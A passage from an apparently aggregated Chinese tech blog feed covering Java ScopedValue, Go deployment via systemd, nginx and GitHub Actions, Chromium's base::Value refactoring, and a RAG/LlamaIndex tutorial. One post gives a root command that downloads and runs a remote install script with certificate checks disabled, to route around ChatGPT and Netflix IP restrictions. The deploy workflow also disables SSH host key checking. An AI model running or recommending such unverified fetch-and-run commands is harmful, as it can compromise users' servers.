String userInfo = new UserService().getUserInfo(userId);
System.out.println(userInfo);
}
private static String getUserFromRequest() {
return "admin";
}
static class UserService {
public String getUserInfo(String userId) {
return new UserRepository().getUserInfo(userId);
}
}
static class UserRepository {
public String getUserInfo(String userId) {
return String.format("%s:%s", userId, userId);
}
}
}
在接收到请求时,首先对用户进行身份验证,然后得到用户信息,这个信息可能被很多地方使用。在这里我们使用方法参数将用户信息传递到其他要使用的地方,可以看到,userId
参数从 UserDemo
传到 UserService
又传到 UserRepository
。
在一个复杂的应用程序中,请求的处理可能会延伸到数百个方法,这时,我们需要为每一个方法添加 userId
参数,将用户传递到最底层需要用户信息的方法中。很显然,额外的 userId
参数会使我们的代码很快变得混乱,因为大多数方法不需要用户信息,甚至可能有一些方法出于安全原因根本不应该能够访问用户。如果在调用堆栈的某个深处我们还需要用户的 IP 地址怎么办?那么我们将不得不再添加一个 ip
参数,然后通过无数的方法传递它。
ThreadLocal
线程本地变量解决这一问题的传统方法是使用 ThreadLocal
,它是线程本地变量,只要线程不销毁,我们随时可以获取 ThreadLocal
中的变量值。
public class UserDemoThreadLocal {
private final static ThreadLocal<String> USER = new ThreadLocal<>();
public static void main(String[] args) {
// 从 request 中获取用户信息
String userId = getUserFromRequest();
USER.set(userId);
// 查询用户详情
String userInfo = new UserService().getUserInfo();
System.out.println(userInfo);
}
private static String getUserFromRequest() {
return "admin";
}
static class UserService {
public String getUserInfo() {
return new UserRepository().getUserInfo();
}
}
static class UserRepository {
public String getUserInfo() {
String userId = USER.get();
return String.format("%s:%s", userId, userId);
}
}
}
这里我们定义了一个名为 USER
的 ThreadLocal
全局变量,获取完用户信息之后将其存入 USER
中,然后在 UserRepository
中直接从 USER
中获取。尽管看起来像普通变量,但线程本地变量的特点是每个线程都有一个独立实例,它的值取决于哪个线程调用其 get
或 set
方法来读取或写入其值。使用线程本地变量,可以方便地在调用堆栈上的方法之间共享数据,而无需使用方法参数。
注意,
ThreadLocal
只能在单个线程中共享数据,如果内部方法中创建了新线程,我们可以使用InheritableThreadLocal
,它是ThreadLocal
的子类,主要用于子线程创建时自动继承父线程的ThreadLocal
变量,方便必要信息的进一步传递。
ScopedValue
作用域值不幸的是,线程本地变量存在许多设计缺陷,无法避免:
get
方法的代码都可以随时调用该变量的 set
方法;但是往往更常见的需求是从一个方法向其他方法简单的单向数据传输,就像上面的示例一样;对线程本地变量的任意修改可能导致类似意大利面条的数据流以及难以察觉的错误;set
方法设值,这个值将在线程的整个生命周期中被保留,直到调用 remove
方法,不幸的是,开发人员经常忘记调用 remove
方法;如果使用了线程池,如果没有正确清除线程本地变量,可能会将一个线程的变量意外地泄漏到另一个不相关的线程中,导致潜在地安全漏洞;此外,忘记清理线程局部变量还可能导致内存泄露;InheritableThreadLocal
让子线程自动继承父线程的线程本地变量,子线程无法共享父线程使用的存储空间,这会显著增加程序的内存占用;特别是在虚拟线程推出之后,这个问题变得更为显著,因为虚拟线程足够廉价,程序中可能会创建成千上万的虚拟线程,如果一百万个虚拟线程中的每一个都有自己的线程局部变量副本,很快就会出现内存不足的问题。作用域值(Scoped Values) 就是为解决这些问题而诞生的新概念。
下面用 ScopedValue
对上面的代码进行重写:
public class UserDemoScopedValue {
final static ScopedValue<String> USER = ScopedValue.newInstance();
public static void main(String[] args) {
// 从 request 中获取用户信息
String userId = getUserFromRequest();
ScopedValue.where(USER, userId)
.run(() -> {
// 查询用户详情
String userInfo = new UserService().getUserInfo();
System.out.println(userInfo);
});
}
private static String getUserFromRequest() {
return "admin";
}
static class UserService {
public String getUserInfo() {
return new UserRepository().getUserInfo();
}
}
static class UserRepository {
public String getUserInfo() {
String userId = USER.get();
return String.format("%s:%s", userId, userId);
}
}
}
我们首先调用 ScopedValue.where(USER, userId)
,它用于将作用域值和某个对象进行绑定,然后调用 run()
方法,它接受一个 lambda 表达式,从该表达式直接或间接调用的任何方法都可以通过 get()
方法读取作用域值。
作用域值仅在 run()
调用的生命周期内有效,在 run()
方法完成后,绑定将被销毁。这种有界的生命周期,使得数据从调用方传输到被调用方(直接和间接)的单向传输一目了然。
上面说过,作用域值是不可变的,没有任何方法可以更改作用域值,但是我们可以重新绑定作用域值:
private static final ScopedValue<String> X = ScopedValue.newInstance();
void foo() {
ScopedValue.where(X, "hello").run(() -> bar());
}
void bar() {
System.out.println(X.get()); // prints hello
ScopedValue.where(X, "goodbye").run(() -> baz());
System.out.println(X.get()); // prints hello
}
void baz() {
System.out.println(X.get()); // prints goodbye
}
在这个例子中,foo()
方法将作用域值 X
绑定为 hello
,所以在 bar()
方法中使用 X.get()
获得的是 hello
;但是接下来,我们重新将 X
绑定为 goodbye
,再去调用 baz()
方法,这时在 baz()
方法中使用 X.get()
得到的就是 goodbye
了;不过值得注意的是,当 baz()
方法结束后,重新回到 bar()
方法,使用 X.get()
获得的仍然是 hello
,说明作用域值并没有被修改。
在使用 ThreadLocal
的时候,我们通常会使用 InheritableThreadLocal
让子线程自动继承父线程的线程本地变量,那么作用域值如何实现线程继承呢?可惜的是,并不存在 InheritableScopedValue
这样的类,Java 21 提供了另一种解决方案:结构化并发 API(JEP 428)。
StructuredTaskScope
是结构化并发中的核心类,它的使用方法如下:
try (var scope = new StructuredTaskScope.ShutdownOnFailure()) {
Supplier<String> user = scope.fork(() -> USER.get());
scope.join().throwIfFailed();
System.out.println("task scope: " + user.get());
} catch (Exception ex) {
}
其中 scope.fork()
方法用于创建子线程,父线程中的作用域值会自动被 StructuredTaskScope
创建的子线程继承,子线程中的代码可以使用父线程中为作用域值建立的绑定,而几乎没有额外开销。与线程局部变量不同,父线程的作用域值绑定不会被复制到子线程中,因此它的性能更高,也不会消耗过多的内存。
子线程的作用域值绑定的生命周期由 StructuredTaskScope
提供的 fork/join
模型控制,scope.join()
等待子线程结束,当线程结束后绑定就会自动销毁,避免了使用线程本地变量时出现无限生命周期的问题。
结构化并发也是 Java 21 中的一项重要特性,我们将在下一篇笔记中继续学习它的知识。
Python 周刊的精美电子书 EPUB、PDF 及 Markdown 版本,请在公zh号“Python猫”里发送“W30”,获取免费下载链接
delicious
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o delicious
myapp
二进制文件、配置文件和静态文件等上传到服务器的/var/www/delicious.yangpeiyuan.com
目录下。目录结构如下:.
|-- config
| `-- config.toml
|-- delicious
|-- static
| |-- css
| | |-- bulma.css
| | `-- style.css
| |-- favicon.ico
| `-- imgs
| |-- apple-touch-icon.png
| |-- favicon-32x32.png
| `-- idev.png
`-- templates
|-- add.html
|-- close.html
|-- detail.html
|-- footer.html
|-- head.html
|-- index.html
|-- login.html
`-- partial.html
/usr/lib/systemd/system/
创建一个新的 systemd 服务文件:sudo vim /usr/lib/systemd/system/delicious.service
在打开的编辑器中,添加以下内容:
[Unit]
Description=My Golang Web Application
After=network.target
[Service]
ExecStart=/var/www/delicious.yangpeiyuan.com/delicious
Restart=always
User=nobody
Group=nogroup
Environment="GO_ENV=production"
WorkingDirectory=/var/www/delicious.yangpeiyuan.com
[Install]
WantedBy=multi-user.target
对于 Golang 程序的 systemd 服务配置,User 和 Group 通常设置如下: 如果是 web 应用或需要网络访问的服务:
Group=www-data
如果是系统级服务或后台程序:
Group=nogroup
如果是特定用户运行的应用:
User=<specific_username>
Group=<specific_groupname>
如果需要 root 权限:
User=root
Group=root
这里需要注意Environment="GO_ENV=production"
,指在 systemd 服务文件设置程序所需的环境变量,以配合 gin 框架的 release 模式
//设置 Gin 为发布模式
if models.GetEnvironment() == "production" {
gin.SetMode(gin.ReleaseMode)
} else {
fmt.Println(models.GetEnvironment())
}
func GetEnvironment() string {
env := os.Getenv("GO_ENV")
if env == "" {
env = "development"
}
return env
}
//重新加载systemd
sudo systemctl daemon-reload
//启动服务
sudo systemctl start delicious
//启用服务自动启动
sudo systemctl enable delicious
//检查服务状态
sudo systemctl status delicious
//查看日志 (可选)
sudo journalctl -u delicious
//重启服务
sudo systemctl restart delicious
此时就可以打开浏览器输入http://服务器公网ip:端口
查看应用程序的展示效果了。
//增加二进制文件,可执行权限
sudo chmod +x delicious
sudo journalctl -u memory.service -n 50 --no-pager
编辑/etc/nginx/sites-available/yangpeiyuan.com.conf
server {
listen 80;
server_name delicious.yangpeiyuan.com;
location / {
proxy_pass http://localhost:9090;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
server {
listen 80;
server_name memory.yangpeiyuan.com;
location / {
proxy_pass http://localhost:9091;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
server {
listen 80;
server_name yangpeiyuan.com www.yangpeiyuan.com;
location / {
root /var/www/yangpeiyuan.com;
index index.html index.htm;
try_files $uri $uri/ =404;
}
}
//启用 Nginx 配置。创建一个符号链接到 sites-enabled 目录
sudo ln -s /etc/nginx/sites-available/your_domain /etc/nginx/sites-enabled/
//检查配置文件语法
nginx -t
//重启nginx
sudo systemctl reload nginx
在您的域名注册商的 DNS 设置中,添加 A 记录,将您的域名指向您服务器的 IP 地址。
使用 GitHub Action 自动编译和上传到服务器。
name: Build and Deploy
on:
push:
branches: [main]
pull_request:
branches: [main]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Set up Go
uses: actions/setup-go@v4
with:
go-version: 1.22.4
- name: Build
run: go build -v ./...
- name: Build binary
run: GOOS=linux GOARCH=amd64 go build -o delicious
- name: Prepare static files
run: |
mkdir -p deploy/config
cp -r static/ deploy/static
cp -r templates/ deploy/templates
cp config/config.toml deploy/config
cp delicious deploy/
- name: Deploy to VPS
env:
PRIVATE_KEY: ${{ secrets.SERVER_SSH_KEY }}
HOST: ${{ secrets.SERVER_HOST }}
USER: ${{ secrets.SERVER_USER }}
run: |
echo "$PRIVATE_KEY" > private_key && chmod 600 private_key
scp -i private_key -o StrictHostKeyChecking=no -r deploy/* ${USER}@${HOST}:/var/www/deploy/
ssh -i private_key -o StrictHostKeyChecking=no ${USER}@${HOST} '
sudo rm -rf /var/www/delicious.yangpeiyuan.com/*
sudo mv /var/www/deploy/delicious /var/www/delicious.yangpeiyuan.com/
sudo mv /var/www/deploy/* /var/www/delicious.yangpeiyuan.com/
sudo chown -R www-data:www-data /var/www/delicious.yangpeiyuan.com/static
sudo chmod -R 775 /var/www/delicious.yangpeiyuan.com/static
sudo systemctl restart delicious.service
'
by yangpeiyuan (i@yangpeiyuan.com) at July 10, 2024 02:40 PM
chatgpt和netflix都对IP地址有限制,一些vps即使搭了梯子也不一定能访问。
现在可以通过WARP分流方式,以cloudflare提供的节点IP作为出口来解锁。
1,有一台vps并且能普通翻墙
2,安装脚本
wget -P /root -N –no-check-certificate “https://raw.githubusercontent.com/mack-a/v2ray-agent/master/install.sh” && chmod 700 /root/install.sh && /root/install.sh
3,安装分流工具
用vasma打开工具
选11分流工具
选1WARP分流(IPV4)
选2添加域名,多个域名用逗号隔开,比如openai.com,netflix.com
完成
JSON 中有多种类型,比如数字(int/double/uint)/bool/string/数组/对象,C++ 中解析 json 开源库有 nlohmann::json。如果实现一套 json 解析能力,其中关键的一个部分就是如何定义一个类来表示 json,同时提供各种接口来修改 json 中各种类型的值。
chromium 中的 base 库中 base::Value 就是这样的一个实现。非常有趣的是这个类 chromium 一直以来都不断的进行设计的调整,这一定程度代表 chromium 对代码设计的不同思考。
nlohmann 2015年发布的第一个版本,而 chromium 在 1.0 版本(2008 年)就已经实现了 base::Value。
下面会尝试根据 chromium 不同版本对这个类的实现分析 chromium 的代码设计思路。
先思考一下,通过 base::Value 表示多种类型,最直觉的实现是什么?是不是使用 c++多态,搞一个基类,然后不同类型基于这个基类派生一个新的类表示新的类型呢?这样基类指针就可以表示 JSON 中所有类型啦!
恭喜你,chromium 也是这么想的 🤨。这个版本 base/values.cc 文件仅仅只有 580 行,来简化一下代码如下:
class Value {
public:
// 空实现
virtual bool GetAsBoolean(bool* out_value) const;
virtual bool GetAsInteger(int* out_value) const;
virtual bool GetAsReal(double* out_value) const;
virtual bool GetAsString(std::wstring* out_value) const;
private:
Type type_;
}
// 基础数据类型
class FundamentalValue : public Value {
public:
// Subclassed methods
virtual bool GetAsBoolean(bool* out_value) const;
virtual bool GetAsInteger(int* out_value) const;
virtual bool GetAsReal(double* out_value) const;
virtual Value* DeepCopy() const;
virtual bool Equals(const Value* other) const;
private:
union {
bool boolean_value_;
int integer_value_;
double real_value_;
};
};
// 字符串
class StringValue : public Value {
public:
// Subclassed methods
bool GetAsString(std::wstring* out_value) const {
if (out_value)
*out_value = value_;
return true;
}
private:
std::wstring value_;
};
// 对象
typedef std::map<std::wstring, Value*> ValueMap;
class DictionaryValue: public Value {
public:
bool GetBoolean(const std::wstring& path, bool* out_value) const;
bool GetInteger(const std::wstring& path, int* out_value) const;
bool GetReal(const std::wstring& path, double* out_value) const;
bool GetString(const std::wstring& path, std::wstring* out_value) const;
bool GetBinary(const std::wstring& path, BinaryValue** out_value) const;
bool GetDictionary(const std::wstring& path,
DictionaryValue** out_value) const;
bool GetList(const std::wstring& path, ListValue** out_value) const;
private:
ValueMap dictionary_;
};
// 数组
typedef std::vector<Value*> ValueVector;
class ListValue: public Value{
public:
bool Get(size_t index, Value** out_value) const;
bool GetDictionary(size_t index, DictionaryValue** out_value) const{
Value* value;
bool result = Get(index, &value);
if (!result || !value->IsType(TYPE_DICTIONARY))
return false;
if (out_value)
*out_value = static_cast<DictionaryValue*>(value);
}
private:
ValueVector list_;
};
这个代码设计比较简单,但有一些问题:
对于 List/Dict 设计蕴含着一些“递归”的思想,比如如果 Value 内容是 Dict,则它内部存储的内容是 std::map<std::string, Value>,而 Value 本身也可以表示多种类型。
在 2017 年,chromium 开始对 base::Value 进行重构。
简化后的代码如下,有以下几点变化:
基于第一点,base::Value 上直接实现了获取基础类型的接口以及 Dict/List 相关接口
注意,这个版本里没有GetDict的接口,base::Value本身就提供了Dict对应的查询接口,如果base::Value上不提供Find 接口,那外部需要获取到map后手动去查询,有点麻烦。但是对于List,却提供了GetList 接口,就有点别扭
class Value {
public:
using BlobStorage = std::vector<char>;
using DictStorage = base::flat_map<std::string, std::unique_ptr<Value>>;
using ListStorage = std::vector<Value>;
// 简单类型接口
bool GetBool() const {
if (is_bool()){
return bool_value_;
}
}
int GetInt() const;
double GetDouble() const; // Implicitly converts from int if necessary.
const std::string& GetString() const;
const BlobStorage& GetBlob() const;
// List 接口
ListStorage& GetList() const;
// Dict
dict_iterator DictEnd();
dict_iterator_proxy DictItems();
dict_iterator FindKey(StringPiece key);
private:
enum class Type{
kBool,
kInt,
kBlob,
kString,
kDict,
kList
};
union {
bool bool_value_;
int int_value_;
double double_value_;
ManualConstructor<std::string> string_value_;
ManualConstructor<BlobStorage> binary_value_;
ManualConstructor<DictStorage> dict_;
ManualConstructor<ListStorage> list_;
};
};
这个版本核心变动,一是解决裸指针,二是淘汰了之前通过多态派生子类方式实现多种类型,让 Value 本身直接来表示多种类型。
base::flat_map<std::string, base::Value&>
和std::vector<base::Value&>&
),外部可以直接获取该类型增删元素,后续重构如果更换storage类型则成本比较高Note:chromium 在 2020 年使用 variant 替代了 union,这个对整体设计没有影响,只不过代码上会更优雅一点点
第二个版本中第一个问题,可能chromium最初就是这么设计的, 不想提供冗余的接口。但事实上是用起来太麻烦了。有些时候代码设计的好坏的评价之一就是业务方使用起来方不方便。
chromium 2019-01-08 的提交里提供一些扁平的接口:
class Value {
public:
// the value is not found or doesn't have the type specified in the
// function's name.
base::Optional<bool> FindBoolKey(StringPiece key) const;
base::Optional<int> FindIntKey(StringPiece key) const;
base::Optional<double> FindDoubleKey(StringPiece key) const;
// |FindStringKey| returns |nullptr| if value is not found or not a string.
const std::string* FindStringKey(StringPiece key) const;
}
后续又添加了List等扁平接口:
class Value {
public:
void Append(bool value);
void Append(int value);
void Append(double value);
void Append(const char* value);
void Append(StringPiece value);
void Append(std::string&& value);
void Append(const char16_t* value);
}
至此随着迭代,越来越多的Dict / List的接口被复制到了 base::Value 上,代码可读性和维护的难度变大了。
第一个版本中,chromium 通过继承来派生多个功能,第二个版本中又移除了继承,将所有功能集一身,但是会发现接口繁杂的问题。这些问题 chromium 在 2022 年的 MR 中指出现有设计的几个问题:
base::flat_map<std::string, base::Value>
和std::vector<base::Value>
)导致了有大量重复的代码。std::vector<base::Value>
,如果未来List内部数据类型变化,则所有使用依赖该接口的地方都需要修改),这不符合设计原则中的“开闭原则”。2022 年,chromium 在此对 base::Value 进行重构。其核心是将 Dict/List 内容以及接口重新封装到单独的类中去。
这一幕看似眼熟,但实际和第一版本设计思路并不完全一致。
简化后的代码如下,这个代码非常清晰,对后续的扩展也更方便了:
class Value {
public:
// 基础类型接口
absl::optional<bool> GetIfBool() const;
absl::optional<int> GetIfInt() const;
// Returns a non-null value for both `Value::Type::DOUBLE` and
// `Value::Type::INT`, converting the latter to a double.
absl::optional<double> GetIfDouble() const;
const std::string* GetIfString() const;
std::string* GetIfString();
const BlobStorage* GetIfBlob() const;
// Dict接口
Dict* GetIfDict();
// List接口
List* GetIfList();
// Dict
class Dict {
public:
absl::optional<bool> FindBool(StringPiece key) const;
absl::optional<int> FindInt(StringPiece key) const;
absl::optional<double> FindDouble(StringPiece key) const;
const std::string* FindString(StringPiece key) const;
const BlobStorage* FindBlob(StringPiece key) const;
Dict* FindDict(StringPiece key);
List* FindList(StringPiece key);
private:
flat_map<std::string, std::unique_ptr<Value>> storage_;
};
// List
class List{
public:
iterator begin();
iterator end();
private:
std::vector<Value> storage_;
};
private:
absl::variant<absl::monostate,
bool,
int,
DoubleStorage,
std::string,
BlobStorage,
Dict,
List>
data_;
};
base::Value 的第一版本设计里,基类 base::Value 只是一个空壳子,使用了继承方式派生了不同类型,不符合设计原则中的“里氏替换原则”,即子类之间是可以互相替换而不影响主要功能,显然第一版子类和父亲的接口完全都不一样了。
base::Value 的重构过程也表示在某些场景下,组合比继承更适合。 在《重构》书中,也提到了“以委托(组合)取代子类”的重构手法。
继承不是什么坏的设计,它能让子类具体父类不同的逻辑,但是它可能会被滥用。其中“里氏替换原则”是一个很好的原则帮我们判断当前的继承是否是合适的。实际开发继承可能会遇到两个问题,一是父类的虚函数改动,子类无法感知,可能会导致意外结果,另一方面是子类的权限很大, 很容易随着迭代逐渐和父类差异过大,导致父类无法约束子类的行为(这一点可以通过约束可重载函数的范围)。
如果你有任何不同的看法,欢迎在评论区一起讨论 ☕️
一直在用的是 ¥36/月的联通蚂蚁宝卡。今年开始发现每个月的 6G 流量都会超标,探索后发现是免流的范围减小了。以前我一般每个月是 6G 套餐+6G 左右的免流=每月大约 12G 左右的流量,刚刚够用。现在免流只有 1G。跑去小红书上研究了一番就发现了这个《浙江畅游卡》。
办理攻略:
听说其他地方也有这种套餐,好像就是名字不一样!大家可以搜搜看,一定要准确说出名字的,不然你问他,她就说没有。
实际使用了 1 个月,发现超大流量是赚个噱头,每月我实际使用的还是和以前一样,12G 左右。😋
by yangpeiyuan (i@yangpeiyuan.com) at June 30, 2024 02:40 PM
随着大模型技术的发展,基于大模型开发的应用也越来越多,比如类似 ChatGPT 的对话服务,将搜索引擎与大模型相结合的问答服务,等等。但在这些应用中,我们也面临着大量的问题,包括缺乏领域知识、无法获取实时信息以及生成虚假内容。检索增强生成(Retrieval-Augmented Generation,简称 RAG) 通过引入外部信息源,为这些问题提供了一种有效的缓解策略。
RAG 在生成式人工智能应用中被广泛采用,演变成了一门类似 提示工程 的学科,可以说它是 2023 年最受欢迎的基于大模型的开发架构。它的流行甚至推动了向量搜索领域的炒作,像 Chroma、Weavaite 和 Pinecone 这样的向量数据库初创公司都因此火了一把。
RAG 之所以如此流行,原因有几个:
我们在之前的笔记中已经学习过不少和 RAG 相关的内容,比如在 使用 Embedding 技术打造本地知识库助手 这篇笔记中,我们学习了如何打造一个针对本地文档的问答系统,在 基于结构化数据的文档问答 这篇笔记中,我们继续探索了如何针对结构化的数据进行问答。不过这些内容都比较简单,只是对 RAG 原理的入门级讲解,本篇博客将对 RAG 的高级技巧进行深入学习,并结合 LangChain 和 LlamaIndex 对各个技巧一一进行实战。
RAG 的本质是搜索 + LLM 提示(Search + LLM prompting),根据用户的问题,通过一定的搜索算法找到相关的信息,将其注入到大模型的提示中,然后令大模型基于上下文来回答用户的问题。其工作流程如下图所示:
在这里,用户向大模型提出了一个近期新闻相关的问题,由于大模型依赖于预训练数据,无法提供最新的信息。RAG 通过从外部数据库中获取和整合知识来弥补这一信息差,它收集与用户查询相关的新闻文章,这些文章与原始问题结合起来,形成一个全面的提示,使大模型能够生成一个见解丰富的答案。
图中展示了 RAG 框架的四个基本组成部分:
RAG 近年来发展迅速,随着对 RAG 的研究不断深入,各种 RAG 技术被开发出来。Yunfan Gao 等人在 Retrieval-Augmented Generation for Large Language Models: A Survey 这篇论文中详细考察了 RAG 范式的演变和发展,将其分成三个阶段:朴素 RAG、高级 RAG 和模块化 RAG:
其中朴素 RAG 最早出现,在 ChatGPT 爆火后不久就开始受到关注,它包括索引、检索和生成三部分,参考上一节所介绍的基本流程。朴素 RAG 简单易懂,但是也面临着不少问题:
为了解决朴素 RAG 遗留的问题,高级 RAG 引入了一些改进措施,增加了 预检索过程(Pre-Retrieval Process) 和 后检索过程(Post-Retrieval Process) 两个阶段,提高检索质量:
可以看出,尽管高级 RAG 在检索前和检索后提出了多种优化策略,但是它仍然遵循着和朴素 RAG 一样的链式结构,架构的灵活性仍然收到限制。模块化 RAG 的架构超越了前两种 RAG 范式,增强了其适应性和功能性,可以灵活地引入特定功能模块或替换现有模块,整个过程不仅限于顺序检索和生成,还包括迭代和自适应检索等方法。
关于这些 RAG 技术的细节,推荐研读 Yunfan Gao 等人的 论文,写的非常详细。
上一节我们学习了 RAG 范式的发展,并介绍了 RAG 系统中可能会面临的问题,Scott Barnett 等人在 Seven Failure Points When Engineering a Retrieval Augmented Generation System 这篇论文中对此做了进一步的梳理,整理了 7 个常见的问题:
当用户的问题无法从文档库中检索到时,可能会导致大模型的幻觉现象。理想情况下,RAG 系统可以简单地回复一句 “抱歉,我不知道”,然而,如果用户问题能检索到文档,但是文档内容和用户问题无关时,大模型还是可能会被误导。
由于大模型的上下文长度限制,我们从文档库中检索时,一般只返回排名靠前的 K 个段落,如果问题答案所在的段落超出了排名范围,就会出现问题。
包含答案的文档已经成功检索出来,但却没有包含在大模型所使用的上下文中。当从数据库中检索到多个文档,并且使用合并过程提取答案时,就会出现这种情况。
答案在提供的上下文中,但是大模型未能准确地提取出来,这通常发生在上下文中存在过多的噪音或冲突信息时。
问题要求以特定格式提取信息,例如表格或列表,然而大模型忽略了这个指示。
尽管大模型正常回答了用户的提问,但不够具体或者过于具体,都不能满足用户的需求。不正确的具体性也可能发生在用户不确定如何提问,或提问过于笼统时。
考虑一个问题,“文件 A、B、C 包含哪些关键点?”,直接使用这个问题检索得到的可能只是每个文件的部分信息,导致大模型的回答不完整。一个更有效的方法是分别针对每个文件提出这些问题,以确保全面覆盖。
Wenqi Glantz 在他的博客 12 RAG Pain Points and Proposed Solutions 中又扩充了另 5 个问题:
当数据规模增大时,系统可能会面临如数据摄入时间过长、系统过载、数据质量下降以及可用性受限等问题,这可能导致性能瓶颈甚至系统故障。
根据用户的问题准确检索出所需的结构化数据是一项挑战,尤其是当用户的问题比较复杂或比较模糊时。这是由于文本到 SQL 的转换不够灵活,当前大模型在处理这类任务上仍然存在一定的局限性。
复杂的 PDF 文档中可能包含有表格、图片等嵌入内容,在对这种文档进行问答时,传统的检索方法往往无法达到很好的效果。我们需要一个更高效的方法来处理这种复杂的 PDF 数据提取需求。
在使用单一大模型时,我们可能会担心模型遇到问题,比如遇到 OpenAI 模型的访问频率限制错误。这时候,我们需要一个或多个模型作为备用,以防主模型出现故障。
如何有效地防止恶意输入、确保输出安全、保护敏感信息不被泄露等问题,都是我们需要面对的重要挑战。
在 Wenqi Glantz 的博客中,他不仅整理了这些问题,而且还对每个问题给出了对应的解决方案,整个 RAG 系统的蓝图如下:
通过上面的学习,我们了解了 RAG 的基本原理和发展历史,以及开发 RAG 系统时可能遇到的一些问题。这一节我们将学习 LlamaIndex 框架,这是一个和 LangChain 齐名的基于大模型的应用开发框架,我们将使用它快速实现一个简单的 RAG 程序。
LlamaIndex 是一个由 Jerry Liu 创建的 Python 库,用于开发基于大模型的应用程序,类似于 LangChain,但它更偏向于 RAG 系统的开发。使用 LlamaIndex,开发人员可以很方便地摄取、结构化和访问私有或领域特定数据,以便将这些数据安全可靠地注入大模型中,从而实现更准确的文本生成。
正如 LlamaIndex 的名字所暗示的,索引(Index) 是 RAG 系统中的核心概念,它是大模型和用户数据之间的桥梁,无论是数据库类的结构化数据,还是文档类的非结构化数据,抑或是程序类的 API 数据,都是通过索引来查询的,查询出来的内容作为上下文和用户的问题一起发送给大模型,得到响应:
LlamaIndex 将 RAG 分为五个关键阶段:
可以看到这些阶段几乎都和索引有关,为了对这些阶段有个更感性的认识,我们参考 LlamaIndex 官方文档中的 Starter Tutorial 来快速入门。
首先,我们使用 pip 安装 LlamaIndex:
$ pip3 install llama-index
通过 LlamaIndex 提供的高级 API,初学者只需 5 行代码即可实现一个简单的 RAG 程序:
from llama_index.core import VectorStoreIndex, SimpleDirectoryReader
documents = SimpleDirectoryReader("data").load_data()
index = VectorStoreIndex.from_documents(documents)
query_engine = index.as_query_engine()
response = query_engine.query("What did the author do growing up?")
示例中使用了保罗·格雷厄姆的文章 What I Worked On 作为测试数据,我们将其下载并保存到 data 目录,运行程序,得到下面的输出:
The author worked on writing and programming before college.
上面的代码中展示了 加载
-> 索引
-> 查询
这几个阶段,其中有几个概念需要特别说明下:
SimpleDirectoryReader
就是一个数据连接器;SentenceSplitter
,可以通过 Settings.text_splitter
来修改;VectorStoreIndex
将 Index 数据保存到内存中,可以通过 StorageContext
的 persist()
方法将 Index 持久化到本地磁盘,或指定 Vector Store 将 Index 保存到向量数据库中,LlamaIndex 集成了大量的 Vector Store 实现;VectorStoreIndex
生成向量索引时,会使用 Embeddings 模型,它使用复杂的向量来表示文档内容,通过向量的距离来表示文本的语义相似性,默认的 Embedding 模型为 OpenAIEmbedding
,可以通过 Settings.embed_model
来修改;as_query_engine()
方法可以构建查询引擎,查询引擎是无状态的,不能跟踪历史对话,如果要实现类似 ChatGPT 的对话场景,可以通过 as_chat_engine()
方法构建 聊天引擎(Chat Engines);通过上面的学习,我们对 LlamaIndex 中的各个组件的概念已经有了一个大致的了解,可以结合官网的 Learn、Use Cases 和 Component Guides 等文档学习 LlamaIndex 的更多功能。
基于 LlamaIndex,我们只用了 5 行代码就实现了一个简单的 RAG 系统,可以看出,这是朴素 RAG 的基本思路。这一节我们将继续学习高级 RAG 技巧,争取对每一种技巧都进行实战验证,带大家一窥 RAG 的技术全貌。
下图展示了高级 RAG 涉及的核心步骤和算法:
LangChain 的 这篇博客 对这些步骤进行详细的讨论。
RAG 系统面临的第一个问题就是如何处理用户输入,我们知道,RAG 的基本思路是根据用户输入检索出最相关的内容,但是用户输入是不可控的,可能存在冗余、模糊或歧义等情况,如果直接拿着用户输入去检索,效果可能不理想。
查询转换(Query Transformations) 是一组旨在修改用户输入以改善检索的方法,使检索对用户输入的变化具有鲁棒性。可参考 LangChain 的 这篇博客 和 LlamaIndex 的 这份文档 或 这份指南。
假设你的知识库中包含了各个公司的基本信息,考虑这样的用户输入:微软和苹果哪一个成立时间更早? 要获得更好的检索效果,我们可以将其拆解成两个用户输入:微软的成立时间 和 苹果的成立时间,这种将用户输入分解为多个子问题的方法被称为 查询扩展(Query Expansion)。
再考虑另一个用户输入:哪个国家赢得了 2023 年的女子世界杯?该国的 GDP 是多少?,和上面的例子一样,我们也需要通过查询扩展将其拆分成两个子问题,只不过这两个子问题是有依赖关系的,我们需要先查出第一个子问题的答案,然后才能查第二个子问题。也就是说,上面的例子中我们可以并行查询,而这个例子需要串行查询。
查询扩展有多种不同的实现,比如:
MultiQueryRetriever
是 LangChain 中的一个类,可根据用户输入生成子问题,然后依次进行检索,最后将检索到的文档合并返回。
MultiQueryRetriever
不仅可以从原始问题中拆解出子问题,还可以对同一问题生成多个视角的提问,比如用户输入:What are the approaches to Task Decomposition?,大模型可以对这个问题生成多个角度的提问,比如:
MultiQueryRetriever
默认使用的 Prompt 如下:
You are an AI language model assistant. Your task is
to generate 3 different versions of the given user
question to retrieve relevant documents from a vector database.
By generating multiple perspectives on the user question,
your goal is to help the user overcome some of the limitations
of distance-based similarity search. Provide these alternative
questions separated by newlines. Original question: {question}
我们可以在此基础上稍作修改,就可以实现子问题拆解:
你是一个 AI 语言助手,你的任务是将用户的问题拆解成多个子问题便于检索,多个子问题以换行分割,保证每行一个。
用户的原始问题为:{question}
在 LlamaIndex 中可以通过 Multi-Step Query Engine 或 Sub Question Query Engine 实现类似的多查询检索。
RAG Fusion
和 MultiQueryRetriever
基于同样的思路,生成子问题并检索,它对检索结果执行 倒数排名融合(Reciprocal Rank Fusion,RRF) 算法,使得检索效果更好。它的大致流程如下:
可以分为四个步骤:
其中生成问题的逻辑和 MultiQueryRetriever
别无二致,聚合和重排序的逻辑我们在后处理部分再做讨论。
这里 是 RAG Fusion 原作者的基本实现,这里 是基于 LangChain 的实现。
